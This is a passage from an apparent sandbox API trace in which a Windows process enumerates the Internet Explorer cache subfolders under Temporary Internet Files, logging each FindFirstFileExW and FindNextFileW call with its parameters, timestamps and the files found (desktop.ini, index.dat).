out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.954] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.954] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.954] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1 [0088.954] lstrcmpW (lpString1="03J4UQW0", lpString2=".") returned 1 [0088.955] lstrcmpW (lpString1="03J4UQW0", lpString2="..") returned 1 [0088.955] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.955] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.955] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.957] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.957] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.957] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.957] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.957] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.957] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.957] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.957] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65b248 | out: hHeap=0x5b0000) returned 1 [0088.957] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0088.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0088.957] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.957] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.957] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KETAJP6D", cAlternateFileName="")) returned 1 [0088.957] lstrcmpW (lpString1="KETAJP6D", lpString2=".") returned 1 [0088.957] lstrcmpW (lpString1="KETAJP6D", lpString2="..") returned 1 [0088.957] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.958] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.958] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.958] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.958] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.958] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.958] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.958] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.958] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.958] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65b248 | out: hHeap=0x5b0000) returned 1 [0088.958] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0088.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0088.958] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1 [0088.958] lstrcmpW (lpString1="VB18B0KB", lpString2=".") returned 1 [0088.958] lstrcmpW (lpString1="VB18B0KB", lpString2="..") returned 1 [0088.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.959] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.959] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.959] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.959] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.959] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.959] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.959] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.959] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.959] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.959] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.959] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65b248 | out: hHeap=0x5b0000) returned 1 [0088.959] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0088.959] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0088.959] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1 [0088.959] lstrcmpW (lpString1="XT1RPYG9", lpString2=".") returned 1 [0088.959] lstrcmpW (lpString1="XT1RPYG9", lpString2="..") returned 1 [0088.959] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.960] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.960] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.960] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.960] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.960] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.960] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.961] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65b248 | out: hHeap=0x5b0000) returned 1 [0088.961] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0088.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0 [0088.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KETAJP6D", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, 